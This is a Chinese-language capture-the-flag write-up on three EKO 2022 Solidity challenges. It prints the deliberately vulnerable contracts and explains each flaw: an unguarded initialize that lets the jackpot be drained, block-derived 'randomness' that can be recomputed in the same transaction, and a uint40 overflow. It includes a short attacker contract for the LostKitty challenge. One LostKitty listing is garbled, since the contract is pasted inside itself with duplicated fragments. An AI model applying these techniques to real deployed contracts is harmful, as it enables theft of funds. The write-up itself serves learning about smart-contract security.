EKO

CTF-EKO-Trickster

Posted by Thomas_Xu on 2023-03-01

CTF-EKO-Trickster&LostKitty


author:Thomas_Xu

Trickster

题目描述与源码:

我们可能已经发现了一个蜜罐……你能设法获得真正的头奖吗?。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract Jackpot {
address private jackpotProxy;
address private owner;

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

function initialize(address _jackpotProxy) public payable {
jackpotProxy = _jackpotProxy;
}

modifier onlyJackpotProxy() {
require(msg.sender == jackpotProxy);
_;
}

function claimPrize(uint256 amount) external payable onlyJackpotProxy {
payable(msg.sender).transfer(amount * 2);
}

fallback() external payable {}

receive() external payable {}
}

contract JackpotProxy {
address private owner;
address private jackpot;

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

constructor() payable {
owner = msg.sender;
address _proxy = address(new Jackpot());
initialize(_proxy);
payable(_proxy).transfer(address(this).balance);
}

function initialize(address _jackpot) public onlyOwner {
jackpot = _jackpot;
}

function claimPrize() external payable {
require(msg.value > 0, "zero deposit");
(bool success,) = jackpot.call{value: msg.value}(abi.encodeWithSignature("claimPrize(uint)", msg.value));
require(success, "failed");
payable(msg.sender).transfer(address(this).balance);
}

function balance() external view returns (uint256) {
return jackpot.balance;
}

receive() external payable {}
}

这个challange的逻辑是用户调用JackpotProxyclaimPrize方法来兑奖,Jackpot合约在收到代理合约的请求后把ETH转给代理合约,最后代理把ETH转给中奖者。

但这个题的Jackpot合约的initialize并没有被调用,而此函数又是一个public函数,此合约的claimPrize明显验证不足,我们可以直接调用此函数来盗取大奖。唯一的问题就是去获取jackpot这个私有变量。

这个challange过于简单,我们接着看下一题。

附Factory:

1
2
3
4
5
6
7
8
9
10
11
function deploy(address) external payable override returns (address[] memory ret) {
require(msg.value == 0.0001 ether, "Please pay 0.0001 ether");
address _challenge = address(new JackpotProxy{value: msg.value}());
ret = new address[](1);
ret[0] = _challenge;
}

function isComplete(address[] calldata _challenges) external view override returns (bool) {
// @dev to win this challenge you must drain the contract
return JackpotProxy(payable(_challenges[0])).balance() == 0;
}

LostKitty

题目描述与源码:

卢卡斯是一位科学家,他和他的猫住在一个有 2^256 个房间的大房子里。他的猫喜欢玩捉迷藏,只要听到另一个房间开门,它就会跳到一个随机房间。你能找到卢卡斯的猫吗?将变量设置catFoundtrue以赢得此挑战。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract HiddenKittyCat {
address private immutable _owner;

constructor() {
_owner = msg.sender;
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @title The Lost Kitty
/// @author https://twitter.com/Cryptonicle1
/// @notice Lucas is a scientist who has lost his cat in a big house that has 2^256 rooms, anon can you find it?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/hidden-kittycat
contract HiddenKittyCat {
address private immutable _owner;

constructor() {
_owner = msg.sender;
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));

assembly {
sstore(slot, "KittyCat!")
}
}

function areYouHidingHere(bytes32 slot) external view returns (bool) {
require(msg.sender == _owner, "!owner");
bytes32 kittyPointer;

assembly {
kittyPointer := sload(slot)
}

return kittyPointer == "KittyCat!";
}

function destroyMe() external {
require(msg.sender == _owner, "!owner");
selfdestruct(payable(address(0)));
}
}

contract House {
bool public catFound;

function isKittyCatHere(bytes32 _slot) external {
if (catFound) {
return;
}
HiddenKittyCat hiddenKittyCat = new HiddenKittyCat();
bool found = hiddenKittyCat.areYouHidingHere(_slot);

if (!found) {
hiddenKittyCat.destroyMe();
} else {
catFound = true;
}
}
}


assembly {
sstore(slot, "KittyCat!")
}
}

function areYouHidingHere(bytes32 slot) external view returns (bool) {
require(msg.sender == _owner, "!owner");
bytes32 kittyPointer;

assembly {
kittyPointer := sload(slot)
}

return kittyPointer == "KittyCat!";
}

function destroyMe() external {
require(msg.sender == _owner, "!owner");
selfdestruct(payable(address(0)));
}
}

contract House {
bool public catFound;

function isKittyCatHere(bytes32 _slot) external {
if (catFound) {
return;
}
HiddenKittyCat hiddenKittyCat = new HiddenKittyCat();
bool found = hiddenKittyCat.areYouHidingHere(_slot);

if (!found) {
hiddenKittyCat.destroyMe();
} else {
catFound = true;
}
}
}

这个题的本质应该是想考查交易的原子性

1
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));

slot其实是根据这个区块的信息计算出来的,看似是个随机数,但在这个合约创建时的区块内的所有交易都共享同一个区块数据。

因此写出攻击合约如下:

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "../ChallengeHiddenKitty.sol";

contract HiddenKittyCatAttacker {
constructor(address target) {
bytes32 slot = keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 69)));
House house = House(target);
house.isKittyCatHere(slot);
}
}

GoldenTicket

题目描述与源码:

Ekoparty 的组织者决定 2023 年会议的门票将通过智能合约购买。但是,会议超卖,您必须注册等候名单才能拿到票。问题是他们让你等了十年,而你唯一的选择就是延长等待时间。等待结束后,你必须进入抽奖,看看你是否获得了门票

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract GoldenTicket {
mapping(address => uint40) public waitlist;
mapping(address => bool) public hasTicket;

function joinWaitlist() external {
require(waitlist[msg.sender] == 0, "Already on waitlist");
unchecked {
///@dev 10 years wait list
waitlist[msg.sender] = uint40(block.timestamp + 10 * 365 days);
}
}

function updateWaitTime(uint256 _time) external {
require(waitlist[msg.sender] != 0, "Join waitlist first");
unchecked {
waitlist[msg.sender] += uint40(_time);
}
}

function joinRaffle(uint256 _guess) external {
require(waitlist[msg.sender] != 0, "Not in waitlist");
require(waitlist[msg.sender] <= block.timestamp, "Still have to wait");
require(!hasTicket[msg.sender], "Already have a ticket");
uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));
if (randomNumber == _guess) {
hasTicket[msg.sender] = true;
}
delete waitlist[msg.sender];
}

function giftTicket(address _to) external {
require(hasTicket[msg.sender], "Yoy dont own a ticket");
hasTicket[msg.sender] = false;
hasTicket[_to] = true;
}
}

这个challange也很基础,就是一个简单的算术溢出,在updateWaitTime里面。

就不多做分析了。


notice

true

This is copyright.

...

...

00:00
00:00